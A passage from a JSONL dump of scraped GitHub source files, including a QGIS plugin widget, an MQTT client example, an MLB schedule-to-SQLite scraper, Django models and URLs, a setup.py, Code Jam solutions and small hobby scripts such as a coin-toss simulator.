qgis.PyQt.QtWidgets as PQtW\nimport qgis.PyQt.QtCore as PQtC\nimport qgis.core as QC\n\nimport oiv.helpers.utils_core as UC\nimport oiv.helpers.qt_helper as QT\nimport oiv.helpers.messages as MSG\nimport oiv.helpers.configdb_helper as CH\nimport oiv.helpers.constants as PC\nimport oiv.werkvoorraad.db_helper as WDH\n\nFORM_CLASS, _ = uic.loadUiType(os.path.join(\n os.path.dirname(__file__), \"oiv_werkvoorraad_widget.ui\"))\n\n\nclass oivWerkvoorraadWidget(PQtW.QDockWidget, FORM_CLASS):\n\n bouwlaagOfObject = None\n drawLayer = None\n tableData = None\n tableColumns = ['id', 'operatie', 'symbol_name', 'brontabel']\n\n def __init__(self, parent=None, objectId=None, bron=None, bronTbl=None):\n \"\"\"Constructor.\"\"\"\n super(oivWerkvoorraadWidget, self).__init__(parent)\n self.setupUi(self)\n self.parent = parent\n self.iface = parent.iface\n self.canvas = parent.canvas\n self.polygonSelectTool = parent.polygonSelectTool\n\n def initUI(self):\n if self.bouwlaagOfObject == 'Object':\n self.naam.setText(self.parent.formelenaam.text())\n self.identifier.setText(self.parent.object_id.text())\n elif self.bouwlaagOfObject == 'Bouwlaag':\n self.naam.setText(self.parent.comboBox.currentText())\n self.identifier.setText(self.parent.pand_id.text())\n self.btn_opslaan.clicked.connect(self.execute_selected_rows)\n self.btn_terug.clicked.connect(self.close_werkvoorraad)\n self.helpBtn, self.floatBtn, titleBar = QT.getTitleBar()\n self.setTitleBarWidget(titleBar)\n self.select_by_polygon.clicked.connect(self.run_select)\n self.helpBtn.clicked.connect(lambda: UC.open_url(PC.HELPURL[\"objectnieuwhelp\"]))\n self.floatBtn.clicked.connect(lambda: self.setFloating(True))\n self.tbl_werkvoorraad.cellClicked.connect(self.select_on_canvas)\n self.identifier.setVisible(False)\n self.naam.setVisible(False)\n self.fr_verwerk.setVisible(True)\n self.getData()\n\n def getData(self):\n self.tableData = []\n objectId = self.identifier.text()\n if self.bouwlaagOfObject == 'Object':\n layerNames = PC.OBJECT[\"werkvoorraadlayers\"]\n request = QC.QgsFeatureRequest().setFilterExpression('\"object_id\" = ' + objectId)\n else:\n layerNames = PC.PAND[\"werkvoorraadlayers\"]\n objectIds = self.getbouwlaag_ids(objectId)\n request = QC.QgsFeatureRequest().setFilterExpression('\"bouwlaag_id\" in ({})'.format(objectIds))\n for layerName in layerNames:\n ilayer = UC.getlayer_byname(layerName)\n if ilayer:\n it = ilayer.getFeatures(request)\n for feat in it:\n data = []\n for fieldName in self.tableColumns:\n data.append(feat[fieldName])\n data.append(layerName)\n self.tableData.append(data)\n self.populate_table(self.tableData)\n self.get_other_mods(objectId)\n\n def run_select(self):\n self.polygonSelectTool.canvas = self.canvas\n self.polygonSelectTool.onGeometryAdded = self.select_features\n self.polygonSelectTool.parent = self\n self.canvas.setMapTool(self.polygonSelectTool)\n \n def select_on_canvas(self, row, col):\n recordId = self.tbl_werkvoorraad.item(row, 0).text()\n layerName = self.tbl_werkvoorraad.item(row, 4).text()\n layer = UC.getlayer_byname(layerName)\n layer.selectByExpression('\"id\" = {}'.format(recordId))\n \n def select_features(self, points):\n index = []\n geom = QC.QgsGeometry.fromPolygonXY([points])\n bbox = geom.boundingBox()\n if self.bouwlaagOfObject == 'Object':\n layerNames = PC.OBJECT[\"werkvoorraadlayers\"]\n else:\n layerNames = PC.PAND[\"werkvoorraadlayers\"]\n for layerName in layerNames:\n if 'Hulp' not in layerName:\n layer = UC.getlayer_byname(layerName)\n layer.selectByRect(bbox)\n for feat in layer.selectedFeatures():\n if not geom.intersects(feat.geometry()):\n layer.deselect(feat.id())\n else:\n indx = self.get_index(feat, layerName)\n index.append(indx)\n self.select_in_table(index)\n\n def get_index(self, feat, layerName):\n data = []\n for fieldName in self.tableColumns:\n data.append(feat[fieldName])\n data.append(layerName)\n return self.tableData.index(data)\n \n def select_in_table(self, index):\n model = self.tbl_werkvoorraad.model()\n selection = PQtC.QItemSelection()\n for i in index:\n model_index = model.index(i,0)\n selection.select(model_index, model_index)\n mode = PQtC.QItemSelectionModel.Select | PQtC.QItemSelectionModel.Rows\n tblSelection = self.tbl_werkvoorraad.selectionModel()\n tblSelection.select(selection, mode)\n \n def getbouwlaag_ids(self, bagId):\n ids = []\n layerName = 'Bouwlagen'\n ilayer = UC.getlayer_byname(layerName)\n request = QC.QgsFeatureRequest().setFilterExpression('\"pand_id\" = ' + \"'{}'\".format(bagId))\n it = ilayer.getFeatures(request)\n for feat in it:\n ids.append(str(feat[\"id\"]))\n return ','.join(ids)\n \n def get_other_mods(self, objectId):\n layout = self.fr_wijzigingen.layout()\n if self.bouwlaagOfObject == 'Object':\n bouwlagen = WDH.get_bouwlagen(objectId)\n if bouwlagen:\n for bouwlaag in bouwlagen:\n labelText = 'Bouwlaag: {}'.format(str(bouwlaag))\n label = PQtW.QLabel()\n label.setText(labelText)\n layout.addWidget(label)\n else:\n labelText = 'Het terrein / repressief object'\n label = PQtW.QLabel()\n label.setText(labelText)\n layout.addWidget(label) \n\n def execute_selected_rows(self):\n executableFeatures = []\n indexes = self.tbl_werkvoorraad.selectionModel().selectedRows()\n for index in indexes:\n recordId = self.tbl_werkvoorraad.item(index.row(), 0).text()\n layerName = self.tbl_werkvoorraad.item(index.row(), 4).text()\n ilayer = UC.getlayer_byname(layerName)\n request = QC.QgsFeatureRequest().setFilterExpression('\"id\" = ' + recordId)\n ifeature = UC.featureRequest(ilayer, request)\n executableFeatures.append([ifeature, ilayer])\n if self.rb_accept.isChecked():\n WDH.execute_queries(executableFeatures, self.bouwlaagOfObject, True)\n else:\n WDH.execute_queries(executableFeatures, self.bouwlaagOfObject, False)\n self.remove_from_table(indexes)\n\n def remove_from_table(self, indexes):\n for index in indexes: \n self.tbl_werkvoorraad.removeRow(index.row()) \n\n def populate_table(self, entries):\n if len(entries):\n self.tbl_werkvoorraad.setRowCount(len(entries))\n self.tbl_werkvoorraad.setColumnCount(len(entries[0]))\n for i, row in enumerate(entries):\n for j, col in enumerate(row):\n item = PQtW.QTableWidgetItem(str(col))\n self.tbl_werkvoorraad.setItem(i, j, item)\n self.tbl_werkvoorraad.setHorizontalHeaderLabels(['id', 'Operatie', 'Type', 'Tabel', 'layerName'])\n self.tbl_werkvoorraad.setSelectionBehavior(PQtW.QAbstractItemView.SelectRows)\n self.tbl_werkvoorraad.setColumnHidden(0, True);\n self.tbl_werkvoorraad.setColumnHidden(4, True);\n\n def close_werkvoorraad(self):\n self.btn_opslaan.clicked.disconnect()\n self.btn_terug.clicked.disconnect()\n self.close()\n self.parent.show_subwidget(False)\n del self\n","repo_name":"OIV-NL-QGIS/QGIS_project","sub_path":"plugin/oiv/werkvoorraad/oiv_werkvoorraad.py","file_name":"oiv_werkvoorraad.py","file_ext":"py","file_size_in_byte":8082,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"} +{"seq_id":"2647553391","text":"#\n# Ejemplo mínimo de conexión mqtt con python\n#\n#\n#\n#-Requerimientos:\n#\tsudo apt install python-pip\n#\tpip install paho-mqtt\n\nimport paho.mqtt.client as mqtt\n\n#Variables\nmqttServer = \"10.0.0.10\"\nmqttPort = 1883\n\n\ndef on_connect(client, userdata, rc,arg):\n\tprint(\"Connected with result code \"+str(rc))\n\t#mqttClient.subscribe(\"topic/topic\")\n\t#mqttClient.publish(\"node/hello\",\"Hello world!\",false)\n\n\n# Esta funcion se ejecuta cada vez que llega un mensaje, el topico esta en msg.topic y el contenido del mensaje en msg.payload\ndef on_message(client, userdata, msg):\n\tprint(\"RCV: \"+msg.topic + \" - \" +msg.payload)\n#\tif (msg.topic == \"space/powerStatus\") :\n#\t\tif msg.payload == \"off\" :\n#\t\t\tpowerOffSystem()\n\ndef on_disconnect(client, userdata, rc):\n\tprint(\"Disconnected! rc: \"+str(rc))\n\n\n\n#Inicio del programa\n\nprint(\"Connecting : \"+mqttServer+\" Port:\"+str(mqttPort))\n\n#conexion mqtt\nmqttClient \t\t\t\t = mqtt.Client()\nmqttClient.on_connect = on_connect\nmqttClient.on_message = on_message\nmqttClient.on_disconnect = on_disconnect\n#client.will_set('/outbox/'+clientName+'/lwt', 'anythinghere', 0, False)\n\ntry:\n\tmqttClient.connect(mqttServer, mqttPort, 60)\nexcept:\n\tprint(\"Cant connect, will retry automatically\")\n\nmqttClient.loop_start()\n\n#loop del programa\nwhile True :\n\ttime.sleep(10)\n","repo_name":"makespacemadrid/GLaDOS","sub_path":"baseNodes/python/basicNode/basicNode.py","file_name":"basicNode.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"31358041690","text":"import statsapi as mlb\nimport pandas as pd\nfrom collections import namedtuple\nfrom calendar import monthrange\nimport os\nimport sqlite3\n\ndef main():\n year = 2019\n getSchedule(2019)\n\ndef getSchedule(year):\n x = 1\n\n os.chdir('C:\\\\Users\\\\delevan\\\\PycharmProjects\\\\Senior-Project\\\\games')\n\n for month in range(4, 11):\n for day in range(1, monthrange(year, month)[1] + 1):\n\n date = str(month)+\"/\"+str(day)+\"/\"+str(year)\n games = mlb.schedule(start_date=date, end_date=date)\n print(games)\n\n schedule = pd.DataFrame(columns=['Home Team','Away Team', 'Game Date', 'Game Time'])\n for game in games:\n game_id = game['game_id']\n homeTeamAbbr = game['home_name']\n if(homeTeamAbbr == \"American League All-Stars\" or homeTeamAbbr == \"National League All-Stars\"):\n homeTeamAbbr = \"New York Yankees\"\n homeTeamAbbr = convertName(homeTeamAbbr)\n awayTeamAbbr = game['away_name']\n if (awayTeamAbbr == \"American League All-Stars\" or awayTeamAbbr == \"National League All-Stars\"):\n awayTeamAbbr = \"New York Mets\"\n awayTeamAbbr = convertName(awayTeamAbbr)\n time = game['game_datetime']\n\n scheduledTime = time[time.find('T')+1:time.find('Z')]\n splitTime = scheduledTime.split(\":\")\n hours = int(splitTime[0])\n hours = hours - 4\n if(hours < 0):\n hours = hours + 12\n minutes = splitTime[1]\n setting = \"PM\"\n if hours > 12:\n hours -= 12\n\n monthName = convertMonth(month)\n gameTime = str(hours) + \":\"+ minutes + setting\n homeActualScore = game['home_score']\n awayActualScore = game['away_score']\n\n actualHomeWin = 0\n if(homeActualScore > awayActualScore):\n actualHomeWin = 1\n\n actualAwayWin = 1 - actualHomeWin\n\n insertVariblesIntoTable(game_id, homeTeamAbbr, awayTeamAbbr, game['game_date'], gameTime, homeActualScore, awayActualScore, actualHomeWin, actualAwayWin)\n #schedule.loc[x] = [homeTeam,awayTeam,monthName+\" \"+str(day)+\" @ \"+str(hours)+\":\"+minutes+setting]\n x = x+1\n\n #schedule.to_csv('games_'+str(month)+'_'+str(day)+'_'+str(year)+'.csv', index=False)\n x=1\n\ndef insertVariblesIntoTable(game_id, homeTeam, awayTeam, gameDate, gameTime, homeActualScore, awayActualScore, actualHomeWin, actualAwayWin):\n try:\n connection = sqlite3.connect(\"gamesSchedule.db\")\n crsr = connection.cursor()\n sql_command = \"INSERT INTO games (game_id, homeTeam, awayTeam, gameDate, gameTime,\" \\\n \" actualHomeScore, actualAwayScore, actualHomeWin, actualAwayWin, linPredHomeScore, linPredAwayScore, \" \\\n \" nnPredHomeScore, nnPredAwayScore, rfPredHomeScore, rfPredAwayScore, xgbPredHomeScore, xgbPredAwayScore,\" \\\n \"logHomeWinPred, logAwayWinPred) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, NULL, NULL, NULL, NULL, NULL, NULL, NULL\" \\\n \", NULL, NULL, NULL);\"\n\n recordTuple = (game_id, homeTeam, awayTeam, gameDate, gameTime, homeActualScore, awayActualScore, actualHomeWin, actualAwayWin)\n crsr.execute(sql_command, recordTuple)\n connection.commit()\n print(\"Record inserted successfully into games table\")\n\n except connection.Error as error:\n print(\"Failed to insert into MySQL table {}\".format(error))\n\n finally:\n crsr.close()\n connection.close()\n print(\"SQLite connection is closed\")\n\ndef convertName(team):\n teamNames = {\"Arizona Diamondbacks\": \"ARI\",\n \"Atlanta Braves\": \"ATL\",\n \"Baltimore Orioles\": \"BAL\",\n \"Boston Red Sox\": \"BOS\",\n \"Chicago White Sox\": \"CHA\",\n \"Chicago Cubs\": \"CHN\",\n \"Cincinnati Reds\": \"CIN\",\n \"Cleveland Indians\": \"CLE\",\n \"Colorado Rockies\": \"COL\",\n \"Detroit Tigers\": \"DET\",\n \"Houston Astros\": \"HOU\",\n \"Kansas City Royals\": \"KCA\",\n \"Los Angeles Angels\": \"ANA\",\n \"Los Angeles Dodgers\": \"LAN\",\n \"Miami Marlins\": \"FLO\",\n \"Milwaukee Brewers\": \"MIL\",\n \"Minnesota Twins\": \"MIN\",\n \"New York Yankees\": \"NYA\",\n \"New York Mets\": \"NYN\",\n \"Oakland Athletics\": \"OAK\",\n \"Philadelphia Phillies\": \"PHI\",\n \"Pittsburgh Pirates\": \"PIT\",\n \"San Diego Padres\": \"SDN\",\n \"San Francisco Giants\": \"SFN\",\n \"Seattle Mariners\": \"SEA\",\n \"St. Louis Cardinals\": \"SLN\",\n \"Tampa Bay Rays\": \"TBA\",\n \"Texas Rangers\": \"TEX\",\n \"Toronto Blue Jays\": \"TOR\",\n \"Washington Nationals\": \"WAS\"\n\n }\n\n convertedName = teamNames[team]\n return convertedName\n\n\ndef convertMonth(month):\n months = {1: \"January\",\n 2: \"February\",\n 3: \"March\",\n 4: \"April\",\n 5: \"May\",\n 6: \"June\",\n 7: \"July\",\n 8: \"August\",\n 9: \"September\",\n 10: \"October\",\n 11: \"November\",\n 12: \"December\"}\n\n newMonth = months[month]\n return newMonth\n\n\ndef formatMonth(month):\n if(month >= 1 and month < 10):\n month = str(0) + str(month)\n\n return month\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"delevan98/Senior-Project","sub_path":"neural-net/getGameSchedule.py","file_name":"getGameSchedule.py","file_ext":"py","file_size_in_byte":5768,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"23564651821","text":"class SafeBetting:\r\n def minRounds(self, N):\r\n\r\n st = str(N)\r\n length = len(st)\r\n j = length - 1;\r\n num = N;\r\n if length==1:\r\n return N\r\n for i in range(length - 1, 0, -1):\r\n qian = int(st[i - 1])\r\n hou = int(st[i])\r\n if hou < qian:\r\n num = N - (hou + 1) * pow(10, (length - i - 1))\r\n if i != length - 1:\r\n shengxia = int((length - i - 1) * '9') - int(st[i + 1:])\r\n num = num + shengxia;\r\n return num\r\n\r\n\r\ntest = SafeBetting()\r\nresult = test.minRounds(1000)\r\nprint(result)\r\ni = 0\r\nf=open(\"C:\\\\Users\\\\davy\\\\Desktop\\\\output.txt\",\"w+\")\r\nfor line in open(\"C:\\\\Users\\\\davy\\\\Desktop\\\\12.txt\"):\r\n i = i + 1;\r\n result = test.minRounds(int(line))\r\n if i>1:\r\n f.writelines('Case #' + str(i-1) + ': ' + str(result) + '\\n')\r\n\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/5466.py","file_name":"5466.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73740460994","text":"from .db import db, environment, SCHEMA, add_prefix_for_prod\n\nclass Team(db.Model):\n __tablename__ = 'teams'\n\n if environment == \"production\":\n __table_args__ = {'schema': SCHEMA}\n\n id = db.Column(db.Integer, primary_key=True)\n player_id = db.Column(db.Integer, db.ForeignKey(add_prefix_for_prod(\"users.team_id\")))\n character_id = db.Column(db.Integer, db.ForeignKey(add_prefix_for_prod(\"characters.id\")))\n health = db.Column(db.Integer, default=100)\n \n effects = db.relationship(\"Move\", back_populates=\"affecting\")\n character = db.relationship(\"Character\", back_populates=\"team\")\n\n def to_dict(self):\n return {\n \"id\": self.id,\n \"owner_id\": self.player_id,\n \"character\": self.character,\n \"health\": self.health,\n \"effects\": self.effects\n }","repo_name":"jontabiendo/legends_arena_project","sub_path":"app/models/team.py","file_name":"team.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31743967976","text":"from django.urls import path\nfrom django.contrib.auth.views import LoginView, LogoutView\nfrom .views import recuperar_clave, UsuarioRegistro\n\n\napp_name = 'usuario'\n\nurlpatterns = [\n path('login/', LoginView.as_view(template_name='login.html'), name='login'),\n path('logout/', LogoutView.as_view(template_name='login.html'), name='logout'),\n path('registrar/', UsuarioRegistro.as_view(), name='registrar'),\n path('recuperar-clave/', recuperar_clave, name='recuperar-clave'),\n]\n","repo_name":"alejandroklever/ecommerce-django-template","sub_path":"apps/usuario/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"9597499193","text":"from sim.MapReader import *\nimport matplotlib.pyplot as plt\n\nplt.rcParams['font.sans-serif'] = ['Songti SC']\nplt.rcParams['font.sans-serif'] = ['SimHei'] # 显示中文标签\nplt.rcParams['axes.unicode_minus'] = False\n\n\ndef get_trade_items(death_list):\n # 统计各路线人数\n trade_count = {}\n # 计算平均年龄\n trace_age_sum = {}\n for p in death_list:\n ckey = \"%s\" % p.state_history\n if ckey not in trade_count:\n trade_count[ckey] = 1\n trace_age_sum[ckey] = np.asarray(p.state_age_history)\n else:\n trade_count[ckey] += 1\n trace_age_sum[ckey] += np.asarray(p.state_age_history)\n # 选出前10\n items = trade_count.items()\n backitems = [[v[1], v[0]] for v in items]\n backitems.sort(reverse=True)\n return (trace_age_sum, backitems)\n\n\ndef conver(x, trace_age_sum, states, population):\n v = x[1]\n count = (trace_age_sum[v] / x[0]).astype(int)\n v = v[1:-1]\n arr = str(v).split(',')\n\n res = list(map(lambda x: states[int(x)], arr))\n\n buf = []\n for i, state in enumerate(res):\n buf.append(\"%s(%d)\" % (state, count[i]))\n\n return \" -> \".join(buf) + \" %.1f%%\" % (100 * x[0] / population)\n\n\ndef get_top10_cohorts(backitems, trace_age_sum, states, population):\n top10_cohorts = []\n for item in backitems[:10]:\n top10_cohorts.append(conver(item, trace_age_sum, states, population))\n for cohort in top10_cohorts:\n print(str(cohort))\n return top10_cohorts\n\n\nstates_ch = [\n '健康',\n '缺血性心脏病',\n '缺血性卒中',\n '二型糖尿病',\n '缺血性心脏病 & 缺血性卒中',\n '缺血性卒中 & 二型糖尿病',\n '缺血性心脏病 & 二型糖尿病',\n '死亡'\n]\n\n\ndef handle(x, trace_age_sum, states, population):\n v = x[1]\n count = (trace_age_sum[v] / x[0]).astype(int)\n v = v[1:-1]\n arr = str(v).split(',')\n\n res = list(map(lambda x: states[int(x)], arr))\n\n buf = []\n tr = []\n cs = []\n for i, state in enumerate(res):\n tr.append(state)\n cs.append(count[i])\n buf.append(\"%s(%d)\" % (state, count[i]))\n\n return tr, cs, (100 * x[0] / population)\n\n\ndef gen_plt_data(items, trace_age_sum, states, population):\n plt_data = []\n for item in items:\n names, count, ps = handle(item, trace_age_sum, states, population)\n plt_data.append((names, count, ps))\n return plt_data\n\n\ndef plot_trajd(plt_data, title, path):\n states_color = {\n 'Health': '#67C23A',\n 'IA': '#E6A23C',\n 'IS': '#E6A23C',\n 'DM': '#E6A23C',\n 'IA & IS': '#E6A23C',\n 'IA & DM': '#E6A23C',\n 'IS & DM': '#E6A23C',\n 'Death': '#909399',\n\n }\n\n plt.figure('trajectory', (22, 12), dpi=150)\n\n plt.xlim(25, 100)\n plt.ylim(len(plt_data) + 1, 0)\n\n ax = plt.gca()\n plt.yticks(range(1, len(plt_data) + 1))\n plt.xticks(range(30, 95, 5))\n ax.spines['top'].set_color('none')\n # ax.spines['bottom'].set_position(('outward', -10))\n\n ax.set_xlabel(\"Age\")\n ax.set_ylabel(\"Trajectory\")\n plt.title(title)\n\n maxx = 0\n for y, arr in enumerate(plt_data):\n y += 1\n (names, xs, b) = arr\n for j, name in enumerate(names):\n maxx = max(xs[j], maxx)\n plt.scatter(xs[j], y, c=states_color[name])\n\n plt.text(xs[j], y + .15, s=name, fontsize=15,\n verticalalignment='top', horizontalalignment='center')\n plt.text(xs[j], y - .15, s=str(xs[j]), fontsize=15,\n verticalalignment='bottom', horizontalalignment='center')\n if j > 0:\n ax.annotate(\"\", xy=(xs[j], y), xytext=(xs[j - 1], y),\n arrowprops=dict(arrowstyle=\"->\", color=states_color[names[j - 1]]))\n for y, arr in enumerate(plt_data):\n y += 1\n (names, xs, b) = arr\n plt.text(maxx + 5, y - .1, s=\"%.1f%%\" % b, fontsize=15, verticalalignment='top', horizontalalignment='right')\n plt.savefig(path + title + \".png\")\n plt.show()\n","repo_name":"QSLV/Chronic-Disease-Risk-Analysis-Method-Based-on-Cohort-Simulation","sub_path":"simulation/AnalysisTool/Methods.py","file_name":"Methods.py","file_ext":"py","file_size_in_byte":4044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12342601155","text":"\"\"\"PyPI setup script for the django-flexible-subscriptions package.\"\"\"\nfrom setuptools import find_packages, setup\n\nfrom subscriptions import __version__\n\nwith open('README.rst', 'r') as readme_file:\n LONG_DESCRIPTION = readme_file.read()\n\nsetup(\n name='django-flexible-subscriptions',\n version=__version__,\n url='https://github.com/studybuffalo/django-flexible-subscriptions',\n description=('A subscription and recurrent billing application for Django.'),\n long_description=LONG_DESCRIPTION,\n long_description_content_type='text/x-rst',\n author='Joshua Torrance',\n author_email='studybuffalo@gmail.com',\n keywords='Django, subscriptions, recurrent billing',\n platforms=['linux', 'windows'],\n packages=find_packages(exclude=['sandbox*', 'tests*']),\n package_data={\n 'subscriptions': [\n 'management/commands/*.py',\n 'static/subscriptions/*.css',\n 'templates/subscriptions/*.html',\n 'templates/subscriptions/snippets/*.html',\n ]\n },\n project_urls={\n 'Documentation': 'https://django-flexible-subscriptions.readthedocs.io/en/latest/',\n 'Source code': 'https://github.com/studybuffalo/django-flexible-subscriptions',\n 'Issues': 'https://github.com/studybuffalo/django-flexible-subscriptions/issues',\n },\n python_requires='>=3.5',\n install_requires=[\n 'django>=2.2',\n ],\n tests_require=[\n 'pytest==6.0.1',\n 'pytest-cov==2.10.1',\n ],\n # See http://pypi.python.org/pypi?%3Aaction=list_classifiers\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Environment :: Web Environment',\n 'Framework :: Django :: 2.2',\n 'Framework :: Django :: 3.0',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: GNU General Public License v3 (GPLv3)',\n 'Operating System :: Unix',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8',\n 'Topic :: Other/Nonlisted Topic'\n ],\n)\n","repo_name":"studybuffalo/django-flexible-subscriptions","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2182,"program_lang":"python","lang":"en","doc_type":"code","stars":237,"dataset":"github-code","pt":"61"} +{"seq_id":"36645274348","text":"#Coin Toss App\n\nimport random\nimport time\n\n#Welcome message\nprint(F\"Welcome to Coin Toss App\")\nprint(f\"\\nI will flip a coin a set number of times.\")\n\n#Get user input\ntotal_flips = int(input(\"How many times would you like me to flip the coin: \"))\nsee_results = input(\"Would you like to see the results of each flip(y/n): \").lower()\n\nprint(f\"\\nFlipping!!!\\n\")\n\nstart_time = time.time()\ncount_heads = 0\ncount_tails = 0\n\n#The main loop\nfor flip in range(0,total_flips):\n toss = random.randint(0,1)\n if toss == 0:\n count_heads += 1\n if see_results.startswith(\"y\"):\n print(\"HEADS\")\n else:\n count_tails += 1\n if see_results.startswith(\"y\"):\n print(\"TAILS\")\n \n if (count_tails == count_heads):\n print(f\"At {flip + 1} coin flips, the count of heads {count_heads} is the same as the count of tails {count_tails}.\")\n\n#Calculate percentages\npercent_heads = round(count_heads * 100 / total_flips, 2)\npercent_tails = round(count_tails * 100 / total_flips, 2)\n\n#Print the results\nprint(f\"\\nResults of Flipping A Coin {total_flips} Times:\")\nprint(f\"\\nSide\\t\\tCount\\t\\tPercentage\")\nprint(f\"Heads\\t\\t{count_heads}/{total_flips}\\t\\t{percent_heads}%\")\nprint(f\"Tails\\t\\t{count_tails}/{total_flips}\\t\\t{percent_tails}%\")\n\nprint(f\"\\nTime elapsed: {time.time() - start_time} seconds.\")","repo_name":"gagankaul/coin-toss-app","sub_path":"cointoss.py","file_name":"cointoss.py","file_ext":"py","file_size_in_byte":1291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3997330767","text":"from datetime import timedelta\nimport logging\n\nfrom dataflow import DataFlow\nfrom workers import head_url, node_url, newfile_filter, ignore_filter, file_to_db\n\n\nlogging.basicConfig(\n level=logging.DEBUG,\n format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S',\n filename='/var/log/homulili/scanner.log',\n filemode='w',\n)\nlogger = logging.getLogger(__name__)\n\n\nmaster_update_interval = timedelta(minutes=30).total_seconds()\nmadokami_stage_interval = timedelta(seconds=10).total_seconds()\n\nlogger.info('Starting scanner')\ndf = DataFlow()\nx = df.rate_limited_node(target=head_url, interval=master_update_interval)\nx = df.rate_limited_node(input=x.out, target=node_url, interval=madokami_stage_interval)\nx = df.node(input=x.out, target=newfile_filter)\nx = df.node(input=x.out, target=ignore_filter)\nx = df.node(input=x.out, num_outputs=0, target=file_to_db)\n\nlogger.debug('Scanner graph initialized')\n\ndf.run()\n","repo_name":"antonpaquin/Homulili","sub_path":"src/bots/scanner/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23566446051","text":"# input() reads a string with a line of input, stripping the '\\n' (newline) at the end.\r\n# This is all you need for most Google Code Jam problems.\r\nimport math\r\n\r\npowers_of_2 = dict()\r\nn = 1\r\nfor i in range(70):\r\n powers_of_2[i] = n\r\n n *= 2\r\n\r\ndef look_for_m(k):\r\n for i in range(len(powers_of_2)-1):\r\n if k < powers_of_2[i+1] and k >= powers_of_2[i]:\r\n return i, powers_of_2[i]\r\n return -1, -1\r\n\r\nt = int(input()) # read a line with a single integer\r\nfor i in range(1, t + 1):\r\n inp = input().split(' ')\r\n n = int(inp[0])\r\n k = int(inp[1])\r\n m, two_at_m = look_for_m(k)\r\n #print(\"m: {}\".format(m))\r\n s = (n - (two_at_m - 1)) / two_at_m\r\n #print(\"s: {}\".format(s))\r\n s1 = (s - math.floor(s)) * two_at_m\r\n #print(\"s1: {}\".format(s1))\r\n s = math.floor(s)\r\n if k - two_at_m < s1:\r\n y, z = math.ceil((s) / 2), math.floor((s) / 2)\r\n else:\r\n y, z = math.ceil((s - 1) / 2), math.floor((s - 1) / 2)\r\n print(\"Case #{}: {} {}\".format(i, y, z))\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_201/1137.py","file_name":"1137.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22206742515","text":"\n\nclass Human:\n company = \"잘살아보세 닷컴\"\n\n\n def __init__(self, name, age, gender):\n self.name = name\n self.age = age\n self.gender = gender\n\n\n\nclass Colleague(Human):\n # position = \"대리\"\n def __init__(self, name, age, gender,position):\n super().__init__(name, age, gender)\n self.position = position\n\n\nhuman1 = Colleague(\"김현준\", 30,\"남자\", \"과장\")\nhuman2 = Colleague(\"김철수\", 29, \"남자\", \"대리\")\nhuman3 = Colleague(\"김영희\", 27, \"여자\", \"대리\")\nhuman4 = Colleague(\"김지수\", 25, \"여자\", \"사원\")\n\nprint(human1.name)\nprint(human2.age)\nprint(human1.__dict__)\n\n\n\n\n\n\n\n#\n# class Colleague(Human):\n# position = \"직급\"\n#\n# def result(name, age, gender, potsition):\n","repo_name":"hyunjunk/imagineer-project","sub_path":"week-01-python/task-02.py","file_name":"task-02.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21725100708","text":"# Author: Sara Jane Kenny, Student Num: R00255434 - 2 Hours for 4 questions\n# Purpose: A program that allows users to book for a skip\n\n# Setting const variables\nLARGE_SKIP_PRICE = 280\nMEDIUM_SKIP_PRICE = 200\nSMALL_BAG_PRICE = 50\n\n# Setting global variables\ndiscount_text = \"\"\nuser_cost = 0\n\n# Display text and gather user inputs\nprint(f\"Skip Drop\\tCompany\"\n f\"\\n------------------\")\nfirst_name = input(\"What is your first name? \")\nsurname = input(\"What is your surname? \")\nprint(f\"1. {'Large':<8}€{LARGE_SKIP_PRICE:>5}\"\n f\"\\n2. {'Medium':<8}€{MEDIUM_SKIP_PRICE:>5}\"\n f\"\\n3. {'Bags':<8}€{SMALL_BAG_PRICE:>5} (4 for 180)\")\nuser_choice = int(input(f\">>>\"))\n\nif user_choice == 1:\n user_choice = \"Large\"\n user_cost = LARGE_SKIP_PRICE\nelif user_choice == 2:\n user_choice = \"Medium\"\n user_cost = MEDIUM_SKIP_PRICE\nelse:\n bags_amt = int(input(\"How many bags do you want (up to 4)? \"))\n if bags_amt > 4:\n print(\"Maximum bags allowed is 4. A quote for 4 will be given.\")\n user_choice = \"Bags X 4\"\n user_cost = 180\n else:\n user_choice = f\"Bags X {bags_amt}\"\n user_cost = SMALL_BAG_PRICE * bags_amt\n\nrepeat_customer = input(\"Are you a repeat costumer? (y/n) \")\n\nif repeat_customer == 'y':\n discount_text = 